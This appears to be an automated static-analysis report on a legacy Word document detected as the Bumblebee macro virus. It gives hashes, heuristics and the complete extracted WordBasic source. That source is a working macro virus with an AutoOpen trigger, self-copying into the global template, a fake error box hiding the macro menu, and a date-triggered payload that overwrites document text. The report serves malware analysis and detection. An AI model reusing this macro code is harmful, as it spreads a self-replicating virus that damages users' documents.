Bumblebee — Office (OLE) malware analysis

Static analysis result for SHA-256 a333fc46c42c7420…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-12-08 05:25:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 2225932a8d637b566947c4b3036e1891 SHA-1: eedb0c4a85c529f1636f5b69e5f7d1206e1b98d8 SHA-256: a333fc46c42c742067a6d848df03a53d26f02af7e25a98497532fc7334c8ab9e
128 Risk Score

Malware Insights

Bumblebee · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macros, including an AutoOpen subroutine, which is a strong indicator of malicious intent. The ClamAV detection explicitly names this as 'Doc.Trojan.Bumblebee-3', confirming its classification. The macro code appears to be designed to copy itself and potentially download or execute further stages, a common tactic for Bumblebee malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Bumblebee-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bumblebee-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2391 bytes
SHA-256: 1068ada4a051b627a52d2834982a84b57fbbb5a19f474eb0380707a75425d58d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
WordBasic.Call "Disease"
End Sub

Attribute VB_Name = "Disease"

Public Sub MAIN()
Dim stealth$
Dim Auto$
Dim ToolsMacro$
Dim infect$
'
' Another Bumblebee virus ;)
'
On Error Resume Next
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Disease", "Global:Disease", 1
stealth$ = "Sub MAIN" + Chr(10) + "MsgBox " + Chr(34) + "Invalid call in shared memory 0x0cc7f000" + Chr(34) + "," + Chr(34) + "Error" + Chr(34) + ",16" + Chr(10) + "ArchivoSalir 1" + Chr(10) + "End Sub"
Auto$ = "Sub MAIN" + Chr(10) + "Disease" + Chr(10) + "End Sub"
ToolsMacro$ = WordBasic.[MenuItemMacro$](WordBasic.[MenuText$](0, 6, 0), 0, 13)
WordBasic.ToolsMacro Name:=ToolsMacro$, Show:=1, Edit:=1
WordBasic.EditSelectAll
WordBasic.Insert stealth$
WordBasic.DocClose 1
WordBasic.ToolsMacro Name:="AutoOpen", Show:=1, Edit:=1
WordBasic.EditSelectAll
WordBasic.Insert Auto$
WordBasic.DocClose 1
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
infect$ = "On Error Resume Next" + Chr(10) + "Dim dlg As ArchivoGuardarComo" + Chr(10) + "If Dia(Ahora()) = 14 Then payload = 1 else payload=0" + Chr(10) + "for i=1 to ContarVentanas()" + Chr(10) + "ListaVentana i" + Chr(10) + "GetCurValues dlg" + Chr(10) + "If dlg.Formato = 0 Then" + Chr(10) + "ArchivoGuardarComo .Formato = 1" + Chr(10) + "MacroCopiar " + Chr(34) + "Global:Disease" + Chr(34) + ", NombreArchivo$() + " + Chr(34) + ":Disease" + Chr(34) + ", 1" + Chr(10) + "MacroCopiar " + Chr(34) + "Global:AutoOpen" + Chr(34) + ", NombreArchivo$() + " + Chr(34) + ":AutoOpen" + Chr(34) + ", 1" + Chr(10) + "ArchivoGuardar" + Chr(10) + "End If" + Chr(10) + "If payload = 1 And EsMacro() = 0 Then" + Chr(10) + "EdicionSeleccionarTodo" + Chr(10) + "Insertar " + Chr(34) + "Another happy infected user... by Disease virus rel2" + Chr(34) + Chr(10) + "End If" + Chr(10) + "next i" + Chr(10)
WordBasic.ToolsMacro Name:="infect", Show:=1, Edit:=1
WordBasic.Insert infect$
WordBasic.ToolsMacro Name:="infect", Run:=1
WordBasic.ToolsMacro Name:="infect", Edit:=1
WordBasic.DocClose 2
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.